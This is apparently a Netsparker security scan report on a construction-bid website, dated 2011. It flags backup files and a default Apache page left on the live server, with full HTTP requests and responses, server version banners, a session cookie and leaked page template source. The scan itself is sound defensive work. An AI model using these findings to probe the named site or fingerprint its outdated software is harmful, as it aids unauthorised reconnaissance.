<!--Override some of the settings for the tooltips--> <style type="text/css"> body div#toolTip { background:white;border:1px double black; } body div#toolTip p { color:black; } </style> <script type="text/javascript" language="JavaScript1.2">var gridServerUrl = '/questcdn/action/myProjectConnector';var gridCategories = null;var categories = new Array();function doInitDoc(){ gridCategories = new QcdnGridCategories('/questcdn', 'mygrid_container', gridServerUrl, 'user_no=&member_no=&allMember='); gridCategories.setDataProcessorUrl(gridServerUrl); gridCategories.setShowRecordCount(false); gridCategories.addCategory(1,'<b>' + 'Not Yet Bid' + '</b>','Bid Date is in the Future'); gridCategories.addCategory(2,'<b>' + 'Results Pending' + '</b>','Bid Date is in the Past and the results HAVE NOT been posted'); gridCategories.addCategory(3,'<b>' + 'Results Posted' + '</b>','Bid Date is in the Past and the results HAVE been posted'); gridCategories.expandAll(true); gridCategories.load(categoryGridCreated);}function categoryGridCreated(grid, gridHelper){ grid.setHeader(' ,Name,City,County,State,Bid Date,Solicitor,Owner,eBidDoc Available,Addendum Count,Q & A Posted,User,Status,JobNo,UserNo'); gridHelper.setColumnIds('INMYPROJ,NAME,CITY,COUNTY,STATE,BID_DATE,SOLICITOR,OWNER,DOCS_AVAIL,ADDENDA,QA_AVAIL,UNAME,STATUS,JOB_NO,USER_NO'); gridHelper.disableTooltipsByName(null); gridHelper.useSweetTitles(); grid.setInitWidths('30,200,100,80,28,130,140,150,90,90,80,80,0,0,0'); gridHelper.hideColumns('STATUS,JOB_NO,USER_NO'); //All columns that you want to access by grid.cellById, etc. must be reference here in setColTypes gridHelper.setColTypes('ch,link,ro,ro,ro,datetime'); grid.setColSorting('int,ciSort,ciSort,ciSort,ciSort,dtSort,ciSort,ciSort,ciSort,int,ciSort,ciSort,ciSort,int,int'); gridHelper.setSecondarySortColumn(gridHelper.NAME); grid.setSkin('qa');}function expandAll(doOpen){ gridCategories.expandAll(doOpen);}function previewJob(jobNo, rowId){ var url; url = '/questcdn/projects/prj_browse/project_browse.html?projbrowse=true&jobNo=' + jobNo + '&rowId=' + rowId; //url = '/questcdn/action/showProjPreviewPage?tooltip=true&preview=true&JobPK=' + jobNo; var w = window.open(url,'projectBrowse','height=800,width=600,resizable=yes,scrollbars=yes'); w.focus();}function showJob(jobNo, rowId){// document.userdata.ProjectNo.value = '' + jobNo;// document.userdata.submit(); previewJob(jobNo, rowId);}function NextProject(jobNo, rowId){ var obj = gridCategories.nextProject(rowId); rowId = obj.rowId; jobNo = obj.jobNo; if (rowId != null) previewJob(jobNo, rowId);}function PreviousProject(jobNo, rowId){ var obj = gridCategories.previousProject(rowId); rowId = obj.rowId; jobNo = obj.jobNo; if (rowId != null) previewJob(jobNo, rowId);}function showProjects(){ location.href='/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects¤t_sub_tab=myprojects' + '&allMember=true' ;}//function deleteSelected()//{// var i, grid, gridHelper, selId;// for (var i = 0; i < categories.length; i++)// {// grid = categories[i].grid;// gridHelper = categories[i].gridHelper;// selId = grid.getSelectedId();// ..
[Possible] Backup File Found
[Possible] Backup File Found
Netsparker identified a backup file on the web server.
Impact
Backup files can contain old or current versions of a file on the web server. This could include sensitive data such as password files or even the applications source code. This form of issue normally leads to further vulnerabilities or at worse sensitive information disclosure.
Do not store backup files on production servers.
- /questcdn/index.html.bak
/questcdn/index.html.bak
|
Request
GET /questcdn/index.html.bak HTTP/1.1
Referer: http://www.questcdn.com/questcdn/index.html.bak
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/5196948904207894690
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:41:17 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
ETag: W/"20214-1239719019000"
Last-Modified: Tue, 14 Apr 2009 14:23:39 GMT
Content-Length: 20214
Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0042)http://www.theborngroup.com/clients/quest/ --><HTML><HEAD> <TITLE>Quest Construction Data Network</TITLE> <META http-equiv=content-type content=text/html;charset=ISO-8859-1> <META content="MSHTML 6.00.2800.1226" name=GENERATOR> <script type="text/javascript" src="{!a:appContext!}/j_scripts/quest.js"></script> <link href="{!a:appContext!}/css_scripts/welcome.css" rel="stylesheet" media="screen"> <CSSCRIPTDICT import> <script type="text/javascript" src="{!a:appContext!}/j_scripts/CSScriptLib.js"></script> </CSSCRIPTDICT> <CSACTIONDICT><SCRIPT type=text/javascript><!--CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_main_contact',/*URL*/'{!a:appContext!}/images/buttons/bu_contact.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_contact.gif',/*URL*/'','');CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_main_member',/*URL*/'{!a:appContext!}/images/buttons/bu_main_member.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_main_member.gif',/*URL*/'','');CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_main_provider',/*URL*/'{!a:appContext!}/images/buttons/bu_main_provider.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_main_provider.gif',/*URL*/'','');CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_main_demo',/*URL*/'{!a:appContext!}/images/buttons/bu_main_classif.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_main_classif.gif',/*URL*/'','');CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_main_classified',/*URL*/'{!a:appContext!}/images/buttons/bu_classif.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_classif.gif',/*URL*/'','');CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_log_submit',/*URL*/'{!a:appContext!}/images/buttons/bu_submit.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_submit.gif',/*URL*/'','');CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_log_join',/*URL*/'{!a:appContext!}/images/buttons/bu_log_join.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_log_join.gif',/*URL*/'','');CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_log_business',/*URL*/'{!a:appContext!}/images/buttons/bu_log_business.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_log_business.gif',/*URL*/'','');CSAct[/*CMP*/ 'BA08515F1'] = new Array(CSCallFunction,'login','self');CSAct[/*CMP*/ 'BA0859BE3'] = new Array(CSOpenWindow,/*URL*/ '{!s:showPage!}log_on/log_sub_fees.html?root_page=true','',450,400,true,true,false,false,false,false,false);// --></SCRIPT> </CSACTIONDICT></HEAD><body onload="CSScriptInit();document.userdata.username.focus()" bgcolor="#ffffff"><form name="userdata" Action="{!s:action!}questLogin" Method="POST"> <input type="hidden" name="loginPagePath" value="index.html"> <input type="hidden" name="root_page" value="true"><TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TBODY> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TBODY> <TR height=28> <TD width=277 height=50 rowSpan=2><IMG height=50 alt="Quest CDN.COM" src="{!a:appContext!}/images/banners/ba_main_left.gif" width=277 border=0></TD> <TD align=right height=28><A href=""><IMG height=28 alt="Contact Quest" src="{!a:appContext!}/images/buttons/bu_contact.gif" width="120" border="0" name="b_main_contact" onClick="return displayContactQuest('{!a:appContext!}')" onmouseover="this.src='{!a:appContext!}/images/buttons/bd_contact.gif'" onmouseout="this.src='{!a:appContext!}/images/buttons/bu_contact.gif'"></A></TD> </TR> <TR height=22> <TD bgColor=#666530 height=22><IMG height=22 alt="" src="{!a:appContext!}/images/banners/ba_main_right.gif" width=323 border=0></TD> </TR> </TBODY> </TABLE> </TD> </TR> <TR> <TD bgColor=#126666> <TABLE cellSpacing=0 cellPadding=0 width=750 border=0> <TBODY> <TR> <TD align="left"> </TD> <TD align="right"><TABLE cellSpacing=0 cellPadding=0 border=0> <TR> <TD><A href=""><IMG height="28" alt="Member Benefits" src="{!a:appContext!}/images/buttons/bu_main_member.gif" width="122" border="0" name="b_main_member" onmouseover="this.src='{!a:appContext!}/images/buttons/bd_main_member.gif'" onmouseout="this.src='{!a:appContext!}/images/buttons/bu_main_member.gif'" onClick="return displayMemberBenefits('{!a:appContext!}')"></A></TD> <TD><A href=""><IMG height="28" alt="Provider Benefits" src="{!a:appContext!}/images/buttons/bu_main_provider.gif" width="125" border="0" name="b_main_provider" onmouseover="this.src='{!a:appContext!}/images/buttons/bd_main_provider.gif'" onmouseout="this.src='{!a:appContext!}/images/buttons/bu_main_provider.gif'" onClick="return displayProviderBenefits('{!a:appContext!}')"></A></TD> <TD><A href=""><IMG height="28" alt="Demonstration" src="{!a:appContext!}/images/buttons/bu_main_classif.gif" width="109" border="0" name="b_main_demo" onmouseover="this.src='{!a:appContext!}/images/buttons/bd_main_classif.gif'" onmouseout="this.src='{!a:appContext!}/images/buttons/bu_main_classif.gif'" onClick="return displayDemo()"></A></TD> <TD><IMG height="28" alt="Classified Ads" src="{!a:appContext!}/images/buttons/bu_classif.gif" width="101" border="0" name="b_main_classified" onmouseover="this.src='{!a:appContext!}/images/buttons/bu_classif.gif'" onmouseout="this.src='{!a:appContext!}/images/buttons/bu_classif.gif'" onClick="return false"></TD> </TR> </TABLE></TD> </TR> </TBODY> </TABLE> </TD> </TR> <TR height=5> <TD height=5></TD> </TR> <TR> <TD><IMG height=108 alt="" src="{!a:appContext!}/images/elements/el_log_photos.jpg" width=760 border=0></TD></TR> <TR height=30> <TD height=30></TD></TR> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TBODY> <TR> <TD vAlign=top align=middle width=277> <TABLE cellSpacing=0 cellPadding=0 width=277 border=0> <TBODY> <TR height=70> <TD width=75 height=70></TD> <TD width=10 height=70></TD> <TD height=70></TD> </TR> <tr> <td width="380" colspan="3" align="right"> <!--#IF defined="<?d:SESSION_TIMED_OUT?>"--> <p class="body-bold" height="22" border="0" style="color:red">Your session timed out or<BR> you were not logged in.<br></p> <!--#ELSEIF defined="<?d:SHOW_LOGIN_ERROR_MSG?>"--> <p class="body-bold" height="22" border="0" style="color:red">Incorrect username or password.<p> <!--#ELSE--> <!--#/IF--> </td> </tr> <TR> <TD width=75></TD> <TD width=10></TD> <TD><IMG height=20 alt="Log In" src="{!a:appContext!}/images/headers/log_on/hd_log_login.gif" width=60 border=0></TD> </TR> <TR height=5> <TD width=75 height=5></TD> <TD width=10 height=5></TD> <TD height=5></TD> </TR> <TR> <TD align=right width=80> <P class=body11>user name:</P></TD> <TD width=10></TD> <TD><INPUT style="FONT-SIZE: 14px; FONT-FAMILY: Courier" size="24" name="username" value="{!d:username!}"></TD> </TR> <TR height=10> <TD width=75 height=10></TD> <TD width=10 height=10></TD> <TD height=10></TD></TR> <TR> <TD align=right width=75> <P class=body11>password:</P></TD> <TD width=10></TD> <TD><INPUT style="FONT-SIZE: 14px; FONT-FAMILY: Courier" type="password" size="24" name="password"></TD> </TR> <TR height=20> <TD width=75 height=20></TD> <TD width=10 height=20></TD> <TD height=20></TD></TR> <TR> <TD width=75></TD> <TD width=10></TD> <TD><CSOBJ w="69" t="Button" ht="{!a:appContext!}/images/buttons/bd_submit.gif" h="20" al="submit"><A href=""><IMG height=20 alt=submit src="{!a:appContext!}/images/buttons/bu_submit.gif" width=69 border=0 name=b_log_submit onClick="document.userdata.submit(); return false;" onmouseover="this.src='{!a:appContext!}/images/buttons/bd_submit.gif'" onmouseout="this.src='{!a:appContext!}/images/buttons/bu_submit.gif'"></A><input type="submit" value="" style="width:0;background-color:#FFFFFF;border:0;"></TD> </TR> <tr> <td width="75"></td> <td width="10"></td> <td width="185"><a href="forgotPassword.html">Forgot Password?</a></td> </tr> <TR height=50> <TD width=75 height=50></TD> <TD width=10 height=50></TD> <TD height=50></TD> </TR> <TR> <TD width=75></TD> <TD width=10></TD> <TD><IMG height=20 alt="New Member" src="{!a:appContext!}/images/headers/log_on/hd_log_new.gif" width=125 border=0></TD></TR> <TR height=5> <TD width=75 height=5></TD> <TD width=10 height=5></TD> <TD height=5></TD></TR> <TR> <TD width=75></TD> <TD width=10></TD> <TD> <P class=body>For <B><FONT color=#126666>FREE</FONT></B> membership please click the "join" button below</P></TD></TR> <TR height=20> <TD width=75 height=20></TD> <TD width=10 height=20></TD> <TD height=20></TD></TR> <TR> <TD width=75></TD> <TD width=10></TD> <TD><A href="{!a:secureHTTP!}{!s:showPage!}subscribe/sub_form.html?root_page=true"> <IMG height="20" alt="join" src="{!a:appContext!}/images/buttons/bu_log_join.gif" width="69" border="0" name="b_log_join" onmouseover="this.src='{!a:appContext!}/images/buttons/bd_log_join.gif'" onmouseout="this.src='{!a:appContext!}/images/buttons/bu_log_join.gif'" > </A> </TD> </TR> </TBODY> </TABLE><BR><BR><BR><BR><BR><IMG height=229 alt="" src="{!a:appContext!}/images/elements/el_main_logos.jpg" width=150 border=0></TD> <TD width=60></TD> <TD vAlign=top width=423> <TABLE cellSpacing=0 cellPadding=0 width=375 border=0> <TBODY> <TR> <TD width=375 colSpan=2><IMG height=70 alt=Welcome src="{!a:appContext!}/images/elements/el_log_welcome.jpg" width=275 border=0></TD></TR> <TR height=20> <TD width=10 height=20></TD> <TD width=365 height=20></TD></TR> <TR> <TD width=375 colSpan=2> <P class=body><B><FONT color=#126666>Welcome</FONT></B> to the Quest Construction Data Network - the state of the art in cost effective project advertising and secure digital plan delivery. Our innovative service delivers complete, high quality digital plan sets in the easy to use Adobe PDF format. With QuestCDN there is no middleman – plan providers post their own project advertisements and upload their plans – and once there – they are immediately available to you for downloading!<BR><BR>When you join you will be offered the option of becoming a Regular Member <B><FONT color=#126666>(FREE)</FONT></B> or a Premier Member for an economical, additional subscription fee.</P></TD></TR> <TR height=30> <TD width=10 height=30></TD> <TD width=365 height=30></TD></TR> <TR> <TD width=375 colSpan=2> <P class=body><B><FONT color=#126666>Regular Members may: </FONT></B></P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10> <P class=body>•</P></TD> <TD width=365> <P class=body>view the detailed projectadvertisement</P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10> <P class=body>•</P></TD> <TD width=365> <P class=body>download the complete eBidDoc™ (digital plan set)</P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10>•</TD> <TD width=365> <P class=body>retrieve plan holder information </P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10> <P class=body>•</P></TD> <TD width=365> <P class=body>receive emailed addenda notifications</P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10> <P class=body>•</P></TD> <TD width=365> <P class=body>view project bid results</P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10> <P class=body>•</P></TD> <TD width=365> <P class=body>access the comprehensive industry directory </P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10> <P class=body>•</P></TD> <TD width=365> <P class=body>compose and maintain their own directory listing</P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD width=10> <P class=body>•</P></TD> <TD width=365> <P class=body>post classified advertisements </P></TD></TR> <TR height=30> <TD width=10 height=30></TD> <TD width=365 height=30></TD></TR> <TR> <TD width=375 colSpan=2> <P class=body><B><FONT color=#126666>Premier Members may also: </FONT></B></P></TD></TR> <TR height=10> <TD width=10 height=10></TD> <TD width=365 height=10></TD></TR> <TR> <TD vAlign=top width=10> <P class=body>•</P></TD> <TD width=365> <P class=body>browse and search a comprehensiv..
- /questcdn/reports/reports.html~
/questcdn/reports/reports.html~
|
Request
GET /questcdn/reports/reports.html~ HTTP/1.1
Referer: http://www.questcdn.com/questcdn/reports/reports.html~
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/5196948904207894690
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:41:18 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
ETag: W/"1264-1207183577000"
Last-Modified: Thu, 03 Apr 2008 00:46:17 GMT
Content-Length: 1264
Content-Type: text/plain
<!--#REQUIRED data="<?s:privmember?>" -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE>Quest Construction Data Network</TITLE>
<META http-equiv=content-type content=text/html;charset=ISO-8859-1>
<link href="{!a:appContext!}/css_scripts/verdana.css" rel="stylesheet" media="screen">
<link href="{!a:appContext!}/css_scripts/looknfeel.css" rel="stylesheet" media="screen">
</HEAD>
<BODY vlink="#666633" link="#126666" bgColor="#ffffff" >
<!--#EMBED template="embeds/header_links.html" -->
<tr><td>
<table border="0" cellspacing="0" cellpadding="0">
<tr><td>
<table width="240" class="left_list" border="0" cellspacing="0" cellpadding="0">
<tr><td> </td></tr>
<tr><td class="left_list_title">
</td></tr>
<tr><td class="left_list"> </td></tr>
<tr><td class="left_list">
<a href="rep_select_project.html">Addenda Notifications</a>
</td></tr>
<tr><td class="left_list">
<a href="plan_holders_rpt_select_job.html?&userPK={!s:userPK!}">Plan Holders</a>
</td></tr>
<tr><td> </td></tr>
<tr><td> </td></tr>
<tr><td><p class="body10"><font size="1" face="Verdana">#-COPYRIGHT-#</font></p></td></tr>
</TABLE>
<P></P>
</BODY>
</HTML>
Default Apache Page Identified
Default Apache Page Identified
Netsparker idenfitied Apache default installation page. This issue is reported for information only.
- /index.html
/index.html
|
Request
GET /index.html HTTP/1.1
Referer: http://www.questcdn.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:36:07 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Last-Modified: Sun, 20 Apr 2008 21:07:01 GMT
ETag: "23c008-2c-5d454740"
Accept-Ranges: bytes
Content-Length: 44
Content-Type: text/html
<html><body><h1>It works!</h1></body></html>